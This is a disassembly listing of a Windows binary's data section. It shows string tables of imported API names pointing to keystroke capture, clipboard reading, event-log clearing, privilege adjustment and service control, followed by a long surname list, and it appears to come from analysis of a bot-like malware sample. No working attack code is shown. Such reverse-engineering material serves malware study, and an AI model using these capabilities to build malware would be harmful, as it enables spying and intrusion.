aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409A6D+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409A6D+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409A6D+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409A6D+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409A6D:loc_409DC4o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A6D+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A6D+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409A6D:loc_409D7Fo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409A6D+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409A6D+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409A6D+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409A6D+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409A6D+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409A6D+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409A6D+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409A6D+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409A6D:loc_409CCCo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409A6D+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409A6D+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409A6D+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A6D:loc_409C65o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409A6D+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409A6D+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409A6D+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409A6D+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409A6D+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409A6D+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409A6D+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409A6D+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409A6D:loc_409BA2o
					; .nsp0:00424CBAo
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A6D:loc_409B75o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A6D+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A6D+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409A6D+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409A6D+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A6D+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A6D+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409A6D+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409A6D+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409A6D+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A6D+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409A6D+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409A6D+Ao
		align 10h
unk_433F80	db  2Dh	; -		; DATA XREF: sub_40A729+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A729+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A729+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+28o
		align 4
a_:					; DATA XREF: .nsp0:0040DBE5o
					; sub_41011E+24Do
		unicode	0, <.>,0
unk_434110	db  2Dh	; -		; DATA XREF: sub_40AA8C:loc_40AB4Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_434140	db  2Dh	; -		; DATA XREF: sub_40AA8C:loc_40AB19o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_434170	db  2Dh	; -		; DATA XREF: sub_40AA8C:loc_40AAE5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_434194	db  2Dh	; -		; DATA XREF: sub_40AA8C+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AB6A+46o
					; sub_40BEFB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_4341DC	dd 0		off_4341E0	dd offset sub_40AC10	; DATA XREF: sub_40AFA5+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AC7Ch, 7474656Ch, 7265h, 0
		dd 2, 40ACDAh, 706D6F63h, 2 dup(0)
		dd 3, 40AD27h, 6E756F63h, 797274h, 0
		dd 4, 40ADC5h, 736Fh, 2	dup(0)
		dd 5, 40AE3Ah
off_434248	dd offset aAbdulrazak	; DATA XREF: sub_40AC10+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_434254	dd offset aAddison	; DATA XREF: sub_40AFA5+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
